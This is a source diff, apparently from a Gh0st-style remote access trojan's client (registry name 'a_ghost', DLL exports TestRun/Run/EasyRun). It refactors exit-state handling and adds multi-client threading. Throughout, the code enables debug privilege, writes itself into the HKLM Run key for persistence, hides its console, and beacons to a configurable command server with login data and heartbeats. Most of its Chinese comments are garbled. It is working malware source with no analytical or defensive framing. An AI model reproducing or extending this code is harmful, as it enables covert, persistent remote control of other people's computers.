@@ -2,18 +2,7 @@
//
# include "stdafx.h"
# include "Common .h"
# include "IOCPClient.h"
# include <IOSTREAM>
# include "LoginServer.h"
# include "KernelManager.h"
# include <iosfwd>
# include <vector>
# include <iostream>
# include <fstream>
# include <sstream>
# include <shellapi.h>
# include <corecrt_io.h>
# include "ClientDll .h"
// <20> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> е <EFBFBD> ֵ
# define REG_NAME "a_ghost"
@@ -21,115 +10,49 @@
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ŀͻ<C4BF> <CDBB> ˸ <EFBFBD> <CBB8> <EFBFBD>
# define CLIENT_PARALLEL_NUM 1
// <20> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> ࣺ<EFBFBD> <E0A3BA> ȫ<EFBFBD> ֱ<EFBFBD> <D6B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> .
// <20> <> <EFBFBD> տͻ<D5BF> <CDBB> <EFBFBD> ֻ<EFBFBD> <D6BB> 2<EFBFBD> <32> ȫ<EFBFBD> ֱ<EFBFBD> <D6B1> <EFBFBD> : g_SETTINGS<47> <53> g_MyApp<70> <70> <EFBFBD> <EFBFBD> g_SETTINGS<47> <53> Ϊg_MyApp<70> ij<EFBFBD> Ա.
// <20> <> <EFBFBD> <EFBFBD> ȫ<EFBFBD> <C8AB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֻ<EFBFBD> <D6BB> һ <EFBFBD> <D2BB> ȫ<EFBFBD> ֱ<EFBFBD> <D6B1> <EFBFBD> : g_MyApp
typedef struct ClientApp
{
BOOL g_bExit ; // Ӧ<> ó<EFBFBD> <C3B3> <EFBFBD> ״̬<D7B4> <CCAC> 1-<2D> <> <EFBFBD> ض<EFBFBD> <D8B6> ˳<EFBFBD> 2-<2D> <> <EFBFBD> ض<EFBFBD> <D8B6> ˳<EFBFBD> 3-<2D> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
BOOL g_bThreadExit ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ߳<EFBFBD> ״̬
HINSTANCE g_hInstance ; // <20> <> <EFBFBD> ̾<EFBFBD> <CCBE> <EFBFBD>
CONNECT_ADDRESS * g_Connection ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
HANDLE g_hEvent ; // ȫ<> <C8AB> <EFBFBD> ¼<EFBFBD>
} ClientApp ;
// Զ<> ̵<EFBFBD> ַ
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST , " 127.0.0.1 " , " 6543 " , CLIENT_TYPE_DLL } ;
// Ӧ<EFBFBD> ó <EFBFBD> <EFBFBD> <EFBFBD>
ClientApp g_MyApp = { FALSE , FALSE , NULL , & g_SETTINGS , NULL } ;
// <20> <> <EFBFBD> տͻ<EFBFBD> <EFBFBD> <EFBFBD> ֻ<EFBFBD> <EFBFBD> 2<EFBFBD> <EFBFBD> ȫ<EFBFBD> ֱ<EFBFBD> <EFBFBD> <EFBFBD> : g_SETTINGS<47> <53> g_MyApp<70> <70> <EFBFBD> <EFBFBD> g_SETTINGS<47> <53> Ϊg_MyApp<70> ij<EFBFBD> Ա.
// <20> <> <EFBFBD> <EFBFBD> ȫ<EFBFBD> <C8AB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֻ<EFBFBD> <D6BB> һ <EFBFBD> <D2BB> ȫ<EFBFBD> ֱ<EFBFBD> <D6B1> <EFBFBD> : g_MyApp
ClientApp g_MyApp ( & g_SETTINGS , IsClientAppRunning ) ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ̣߳<DFB3> <CCA3> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<EFBFBD> <CEAA> ClientApp
DWORD WINAPI StartClient ( LPVOID lParam ) ;
enum { E_RUN , E_STOP , E_EXIT } status ;
# if _CONSOLE
int ClientApp : : m_nCount = 0 ;
enum { E_RUN , E_STOP } status ;
CLock ClientApp : : m_Locker ;
//<2F> <> <EFBFBD> <EFBFBD> Ȩ<EFBFBD> <C8A8>
void DebugPrivilege ( )
{
HANDLE hToken = NULL ;
//<2F> <EFBFBD> ǰ<EFBFBD> <C7B0> <EFBFBD> ̵ķ<CCB5> <C4B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
int hRet = OpenProcessToken ( GetCurrentProcess ( ) , TOKEN_ALL_ACCESS , & hToken ) ;
if ( hRet )
{
TOKEN_PRIVILEGES tp ;
tp . PrivilegeCount = 1 ;
//ȡ<> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ȩ<EFBFBD> <EFBFBD> LUID
LookupPrivilegeValue ( NULL , SE_DEBUG_NAME , & tp . Privileges [ 0 ] . Luid ) ;
tp . Privileges [ 0 ] . Attributes = SE_PRIVILEGE_ENABLED ;
//<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ƶ<EFBFBD> Ȩ<EFBFBD> <C8A8>
AdjustTokenPrivileges ( hToken , FALSE , & tp , sizeof ( tp ) , NULL , NULL ) ;
CloseHandle ( hToken ) ;
}
BOOL IsProcessExit ( ) {
return g_MyApp . g_bExit = = S_CLIENT_EXIT ;
}
/**
* @brief <20> <> <EFBFBD> ñ<EFBFBD> <C3B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* @param[in] *sPath ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ·<EFBFBD> <C2B7>
* @param[in] *sNmae ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* @return <20> <> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* @details Win7 64λ<34> <CEBB> <EFBFBD> <EFBFBD> <EFBFBD> ϲ <EFBFBD> <CFB2> Խ<EFBFBD> <D4BD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> ڣ<EFBFBD> \n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20> ״<EFBFBD> <D7B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> Թ<EFBFBD> <D4B9> <EFBFBD> ԱȨ<D4B1> <C8A8> <EFBFBD> <EFBFBD> <EFBFBD> У <EFBFBD> <D0A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> д<EFBFBD> 뿪<EFBFBD> <EBBFAA> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
*/
BOOL SetSelfStart ( const char * sPath , const char * sNmae )
{
DebugPrivilege ( ) ;
// д<> <D0B4> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> ·<EFBFBD> <C2B7>
# define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20> <> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> д<EFBFBD> <D0B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
HKEY hKey = NULL ;
LONG lRet = RegOpenKeyExA ( HKEY_LOCAL_MACHINE , REGEDIT_PATH , 0 , KEY_ALL_ACCESS , & hKey ) ;
// <20> ж<EFBFBD> <D0B6> Ƿ<EFBFBD> <C7B7> ɹ<EFBFBD>
if ( lRet ! = ERROR_SUCCESS )
return FALSE ;
lRet = RegSetValueExA ( hKey , sNmae , 0 , REG_SZ , ( const BYTE * ) sPath , strlen ( sPath ) + 1 ) ;
// <20> ر<EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD>
RegCloseKey ( hKey ) ;
// <20> ж<EFBFBD> <D0B6> Ƿ<EFBFBD> <C7B7> ɹ<EFBFBD>
return lRet = = ERROR_SUCCESS ;
BOOL IsSharedRunning ( void * thisApp ) {
ClientApp * This = ( ClientApp * ) thisApp ;
return ( S_CLIENT_NORMAL = = g_MyApp . g_bExit ) & & ( S_CLIENT_NORMAL = = This - > g_bExit ) ;
}
// <20> <> <EFBFBD> ؿ<EFBFBD> <D8BF> <EFBFBD> ̨
// <20> ο <EFBFBD> <CEBF> <EFBFBD> https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> "<22> <EFBFBD> "<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڵ<EFBFBD> ΪmainCRTStartup
// step2: <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> "ϵͳ"<22> <> <EFBFBD> <EFBFBD> ϵͳΪ<CDB3> <CEAA> <EFBFBD> <EFBFBD>
// <20> <> <EFBFBD> <EFBFBD>
BOOL CALLBACK callback ( DWORD CtrlType )
{
if ( CtrlType = = CTRL_CLOSE_EVENT )
{
g_MyApp . g_bExit = true ;
while ( E_RUN = = status )
Sleep ( 20 ) ;
}
return TRUE ;
BOOL IsClientAppRunning ( void * thisApp ) {
ClientApp * This = ( ClientApp * ) thisApp ;
return S_CLIENT_NORMAL = = This - > g_bExit ;
}
// <20> ߳<EFBFBD> `StartClientApp`<60> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> .
typedef struct ClientStartArg
{
int ID ; // <20> ̷߳<DFB3> <CCB7> ش<EFBFBD> <D8B4> <EFBFBD>
ClientApp App ; // <20> ͻ<EFBFBD> <CDBB> ˶<EFBFBD> <CBB6> <EFBFBD>
const char * IP ; // Զ<> <D4B6> IP
int Port ; // Զ<> ̶˿<CCB6>
} ClientStartArg ;
ClientApp * NewClientStartArg ( const char * remoteAddr , IsRunning run , BOOL shared ) {
auto v = StringToVector ( remoteAddr , ' : ' , 2 ) ;
if ( v [ 0 ] . empty ( ) | | v [ 1 ] . empty ( ) )
return nullptr ;
auto a = new ClientApp ( g_MyApp . g_Connection , run , shared ) ;
a - > g_Connection - > SetServer ( v [ 0 ] . c_str ( ) , atoi ( v [ 1 ] . c_str ( ) ) ) ;
return a ;
}
DWORD StartClientApp ( int id , ClientApp & app , const char * ip , int port ) {
CONNECT_ADDRESS & settings ( * ( app . g_Connection ) ) ;
BOOL & bExit ( app . g_bExit ) ;
DWORD WINAPI StartClientApp ( LPVOID param ) {
ClientApp : : AddCount ( 1 ) ;
ClientApp * app = ( ClientApp * ) param ;
CONNECT_ADDRESS & settings ( * ( app - > g_Connection ) ) ;
const char * ip = settings . ServerIP ( ) ;
int port = settings . ServerPort ( ) ;
State & bExit ( app - > g_bExit ) ;
if ( ip ! = NULL & & port > 0 )
{
settings . SetServer ( ip , port ) ;
@@ -137,31 +60,28 @@ DWORD StartClientApp(int id, ClientApp &app, const char *ip, int port) {
if ( strlen ( settings . ServerIP ( ) ) = = 0 | | settings . ServerPort ( ) < = 0 ) {
Mprintf ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> : <20> <> <EFBFBD> ṩԶ<E1B9A9> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> IP<49> Ͷ˿<CDB6> !\n " ) ;
Sleep ( 3000 ) ;
return - 1 ;
} else {
app - > g_hInstance = GetModuleHandle ( NULL ) ;
Mprintf ( " [ClientApp: %d] Total [%d] %s:%d \n " , app - > m_ID , app - > GetCount ( ) , settings . ServerIP ( ) , settings . ServerPort ( ) ) ;
do {
bExit = S_CLIENT_NORMAL ;
HANDLE hThread = CreateThread ( NULL , 0 , StartClient , app , 0 , NULL ) ;
WaitForSingleObject ( hThread , INFINITE ) ;
CloseHandle ( hThread ) ;
if ( IsProcessExit ( ) ) // process exit
break ;
} while ( E_RUN = = status & & S_CLIENT_EXIT ! = bExit ) ;
}
app . g_hInstance = GetModuleHandle ( NULL ) ;
Mprintf ( " [server: %d] %s:%d HINSTANCE: %p \n " , id , settings . ServerIP ( ) , settings . ServerPort ( ) , app . g_hInstance ) ;
do {
bExit = 0 ;
HANDLE hThread = CreateThread ( NULL , 0 , StartClient , & app , 0 , NULL ) ;
auto r = app - > m_ID ;
if ( app ! = & g_MyApp ) delete app ;
ClientApp : : AddCount ( - 1 ) ;
WaitForSingleObject ( hThread , INFINITE ) ;
CloseHandle ( hThread ) ;
} while ( E_RUN = = status & & 1 ! = bExit ) ;
return id ;
}
DWORD WINAPI StartClientApp ( LPVOID param ) {
ClientStartArg * a = ( ClientStartArg * ) param ;
auto r = StartClientApp ( a - > ID , a - > App , a - > IP , a - > Port ) ;
SAFE_DELETE ( a ) ;
return r ;
}
/**
* @brief <20> ȴ<EFBFBD> <C8B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֧<EFBFBD> ֳ<EFBFBD> <D6B3> <EFBFBD> MAXIMUM_WAIT_OBJECTS<54> <53> <EFBFBD> ƣ<EFBFBD>
* @param handles <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
@@ -229,6 +149,79 @@ DWORD WaitForMultipleHandlesEx(
}
}
# if _CONSOLE
//<2F> <> <EFBFBD> <EFBFBD> Ȩ<EFBFBD> <C8A8>
void DebugPrivilege ( )
{
HANDLE hToken = NULL ;
//<2F> <EFBFBD> ǰ<EFBFBD> <C7B0> <EFBFBD> ̵ķ<CCB5> <C4B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
int hRet = OpenProcessToken ( GetCurrentProcess ( ) , TOKEN_ALL_ACCESS , & hToken ) ;
if ( hRet )
{
TOKEN_PRIVILEGES tp ;
tp . PrivilegeCount = 1 ;
//ȡ<> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ȩ<EFBFBD> <EFBFBD> LUID
LookupPrivilegeValue ( NULL , SE_DEBUG_NAME , & tp . Privileges [ 0 ] . Luid ) ;
tp . Privileges [ 0 ] . Attributes = SE_PRIVILEGE_ENABLED ;
//<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ƶ<EFBFBD> Ȩ<EFBFBD> <C8A8>
AdjustTokenPrivileges ( hToken , FALSE , & tp , sizeof ( tp ) , NULL , NULL ) ;
CloseHandle ( hToken ) ;
}
}
/**
* @brief <20> <> <EFBFBD> ñ<EFBFBD> <C3B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* @param[in] *sPath ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ·<EFBFBD> <C2B7>
* @param[in] *sNmae ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* @return <20> <> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* @details Win7 64λ<34> <CEBB> <EFBFBD> <EFBFBD> <EFBFBD> ϲ <EFBFBD> <CFB2> Խ<EFBFBD> <D4BD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> ڣ<EFBFBD> \n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20> ״<EFBFBD> <D7B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> Թ<EFBFBD> <D4B9> <EFBFBD> ԱȨ<D4B1> <C8A8> <EFBFBD> <EFBFBD> <EFBFBD> У <EFBFBD> <D0A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> д<EFBFBD> 뿪<EFBFBD> <EBBFAA> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
*/
BOOL SetSelfStart ( const char * sPath , const char * sNmae )
{
DebugPrivilege ( ) ;
// д<> <D0B4> <EFBFBD> <EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> ·<EFBFBD> <C2B7>
# define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20> <> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> д<EFBFBD> <D0B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
HKEY hKey = NULL ;
LONG lRet = RegOpenKeyExA ( HKEY_LOCAL_MACHINE , REGEDIT_PATH , 0 , KEY_ALL_ACCESS , & hKey ) ;
// <20> ж<EFBFBD> <D0B6> Ƿ<EFBFBD> <C7B7> ɹ<EFBFBD>
if ( lRet ! = ERROR_SUCCESS )
return FALSE ;
lRet = RegSetValueExA ( hKey , sNmae , 0 , REG_SZ , ( const BYTE * ) sPath , strlen ( sPath ) + 1 ) ;
// <20> ر<EFBFBD> ע<EFBFBD> <D7A2> <EFBFBD> <EFBFBD>
RegCloseKey ( hKey ) ;
// <20> ж<EFBFBD> <D0B6> Ƿ<EFBFBD> <C7B7> ɹ<EFBFBD>
return lRet = = ERROR_SUCCESS ;
}
// <20> <> <EFBFBD> ؿ<EFBFBD> <D8BF> <EFBFBD> ̨
// <20> ο <EFBFBD> <CEBF> <EFBFBD> https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> "<22> <EFBFBD> "<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڵ<EFBFBD> ΪmainCRTStartup
// step2: <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> "ϵͳ"<22> <> <EFBFBD> <EFBFBD> ϵͳΪ<CDB3> <CEAA> <EFBFBD> <EFBFBD>
// <20> <> <EFBFBD> <EFBFBD>
BOOL CALLBACK callback ( DWORD CtrlType )
{
if ( CtrlType = = CTRL_CLOSE_EVENT )
{
g_MyApp . g_bExit = S_CLIENT_EXIT ;
while ( E_RUN = = status )
Sleep ( 20 ) ;
}
return TRUE ;
}
int main ( int argc , const char * argv [ ] )
{
if ( ! SetSelfStart ( argv [ 0 ] , REG_NAME ) )
@@ -248,14 +241,17 @@ int main(int argc, const char *argv[])
SetConsoleCtrlHandler ( & callback , TRUE ) ;
const char * ip = argc > 1 ? argv [ 1 ] : NULL ;
int port = argc > 2 ? atoi ( argv [ 2 ] ) : 0 ;
g_MyApp . g_Connection - > SetType ( CLIENT_TYPE_ONE ) ;
ClientApp & app ( g_MyApp ) ;
app . g_Connection - > SetType ( CLIENT_TYPE_ONE ) ;
app . g_Connection - > SetServer ( ip , port ) ;
if ( CLIENT_PARALLEL_NUM = = 1 ) {
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͻ<EFBFBD> <CDBB> <EFBFBD>
StartClientApp ( 0 , g_MyApp , ip , port ) ;
StartClientApp ( & app ) ;
} else {
std : : vector < HANDLE > handles ( CLIENT_PARALLEL_NUM ) ;
for ( int i = 0 ; i < CLIENT_PARALLEL_NUM ; i + + ) {
handles [ i ] = CreateThread ( 0 , 64 * 1024 , StartClientApp , new ClientStartArg { i , g_MyApp , ip , port } , 0 , 0 ) ;
auto client = new ClientApp ( app . g_Connection , IsSharedRunning , FALSE ) ;
handles [ i ] = CreateThread ( 0 , 64 * 1024 , StartClientApp , client - > SetID ( i ) , 0 , 0 ) ;
if ( handles [ i ] = = 0 ) {
Mprintf ( " <EFBFBD> ߳<EFBFBD> %d <20> <> <EFBFBD> <EFBFBD> ʧ<EFBFBD> ܣ<EFBFBD> <DCA3> <EFBFBD> <EFBFBD> <EFBFBD> : %d\n " , i , errno ) ;
}
@@ -265,7 +261,7 @@ int main(int argc, const char *argv[])
Mprintf ( " WaitForMultipleObjects ʧ<> ܣ<EFBFBD> <DCA3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> : %d \n " , GetLastError ( ) ) ;
}
}
ClientApp : : Wait ( ) ;
status = E_STOP ;
CloseHandle ( hMutex ) ;
@@ -298,7 +294,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
ClientApp & app ( g_MyApp ) ;
CONNECT_ADDRESS & settings ( * ( app . g_Connection ) ) ;
app . g_bExit = FALSE ;
app . g_bExit = S_CLIENT_NORMAL ;
if ( strlen ( szServerIP ) > 0 & & uPort > 0 )
{
settings . SetServer ( szServerIP , uPort ) ;
@@ -317,7 +313,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
}
// ֹͣ<CDA3> <D6B9> <EFBFBD> <EFBFBD>
extern " C " __declspec ( dllexport ) void StopRun ( ) { g_MyApp . g_bExit = true ; }
extern " C " __declspec ( dllexport ) void StopRun ( ) { g_MyApp . g_bExit = S_CLIENT_EXIT ; }
// <20> Ƿ<EFBFBD> <C7B7> ɹ<EFBFBD> ֹͣ
extern " C " __declspec ( dllexport ) bool IsStoped ( ) { return g_MyApp . g_bThreadExit ; }
@@ -334,11 +330,11 @@ extern "C" __declspec(dllexport) int EasyRun() {
TestRun ( ( char * ) settings . ServerIP ( ) , settings . ServerPort ( ) ) ;
while ( ! IsStoped ( ) )
Sleep ( 50 ) ;
if ( 1 = = app . g_bExit ) // <20> ܿض<DCBF> <D8B6> ˳<EFBFBD>
if ( S_CLIENT_EXIT = = app . g_bExit ) // <20> ܿض<DCBF> <D8B6> ˳<EFBFBD>
break ;
else if ( 2 = = app . g_bExit )
else if ( S_SERVER_EXIT = = app . g_bExit )
continue ;
else // 3 : <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
else // S_CLIENT_UPDATE : <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
break ;
} while ( true ) ;
@@ -405,7 +401,7 @@ int nCmdShow:
extern " C " __declspec ( dllexport ) void Run ( HWND hwnd , HINSTANCE hinst , LPSTR lpszCmdLine , int nCmdShow ) {
ClientApp & app ( g_MyApp ) ;
CONNECT_ADDRESS & settings ( * ( app . g_Connection ) ) ;
BOOL & bExit ( app . g_bExit ) ;
State & bExit ( app . g_bExit ) ;
char message [ 256 ] = { 0 } ;
if ( strlen ( lpszCmdLine ) ! = 0 ) {
strcpy_s ( message , lpszCmdLine ) ;
@@ -433,11 +429,11 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
TestRun ( ( char * ) result [ 0 ] . c_str ( ) , atoi ( result [ 1 ] . c_str ( ) ) ) ;
while ( ! IsStoped ( ) )
Sleep ( 20 ) ;
if ( bExit = = 1 )
if ( bExit = = S_CLIENT_EXIT )
return ;
else if ( bExit = = 2 )
else if ( bExit = = S_SERVER_EXIT )
continue ;
else // 3
else // S_CLIENT_UPDATE
break ;
} while ( true ) ;
@@ -451,39 +447,42 @@ DWORD WINAPI StartClient(LPVOID lParam)
{
ClientApp & app ( * ( ClientApp * ) lParam ) ;
CONNECT_ADDRESS & settings ( * ( app . g_Connection ) ) ;
BOOL & bExit ( app . g_bExit ) ;
State & bExit ( app . g_bExit ) ;
IOCPClient * ClientObject = new IOCPClient ( bExit ) ;
CKernelManager * Manager = nullptr ;
if ( NULL = = app . g_hEvent )
app . g_hEvent = CreateEventA ( NULL , TRUE , FALSE , EVENT_FINISHED ) ;
if ( app . g_hEvent = = NULL ) {
Mprintf ( " [StartClient] Failed to create event: %s! %d. \n " , EVENT_FINISHED , GetLastError ( ) ) ;
if ( ! app . m_bShared ) {
if ( NULL = = app . g_hEvent ) {
app . g_hEvent = CreateEventA ( NULL , TRUE , FALSE , EVENT_FINISHED ) ;
}
if ( app . g_hEvent = = NULL ) {
Mprintf ( " [StartClient] Failed to create event: %s! %d. \n " , EVENT_FINISHED , GetLastError ( ) ) ;
}
}
app . g_bThreadExit = false ;
while ( ! bExit )
while ( app . m_bIsRunning ( & app ) )
{
ULONGLONG dwTickCount = GetTickCount64 ( ) ;
if ( ! ClientObject - > ConnectServer ( settings . ServerIP ( ) , settings . ServerPort ( ) ) )
{
for ( int k = 500 ; ! bExit & & - - k ; Sleep ( 10 ) ) ;
for ( int k = 500 ; app . m_bIsRunning ( & app ) & & - - k ; Sleep ( 10 ) ) ;
continue ;
}
//<> <D7BC> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
LOGIN_INFOR login = GetLoginInfo ( GetTickCount64 ( ) - dwTickCount , settings . ClientType ( ) ) ;
ClientObject - > SendLoginInfo ( login ) ;
CKernelManager * Manager = new CKernelManager ( & settings , ClientObject , app . g_hInstance ) ;
SAFE_DELETE ( Manager ) ;
Manager = new CKernelManager ( & settings , ClientObject , app . g_hInstance ) ;
do
{
Manager - > SendHeartbeat ( ) ;
} while ( ClientObject - > IsRunning ( ) & & ClientObject - > IsConnected ( ) & & ! bExit ) ;
while ( GetTickCount64 ( ) - dwTickCount < 5000 & & ! bExit )
} while ( ClientObject - > IsRunning ( ) & & ClientObject - > IsConnected ( ) & & app . m_bIsRunning ( & app ) ) ;
while ( GetTickCount64 ( ) - dwTickCount < 5000 & & app . m_bIsRunning ( & app ) )
Sleep ( 200 ) ;
delete Manager ;
}
if ( app . g_bExit = = 1 & & app . g_hEvent ) {
if ( app . g_bExit = = S_CLIENT_EXIT & & app . g_hEvent & & ! app . m_bShared ) {
BOOL b = SetEvent ( app . g_hEvent ) ;
Mprintf ( " >>> [StartClient] Set event: %s %s! \n " , EVENT_FINISHED , b ? " succeed " : " failed " ) ;
@@ -493,6 +492,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Mprintf ( " StartClient end \n " ) ;
delete ClientObject ;
SAFE_DELETE ( Manager ) ;
app . g_bThreadExit = true ;
return 0 ;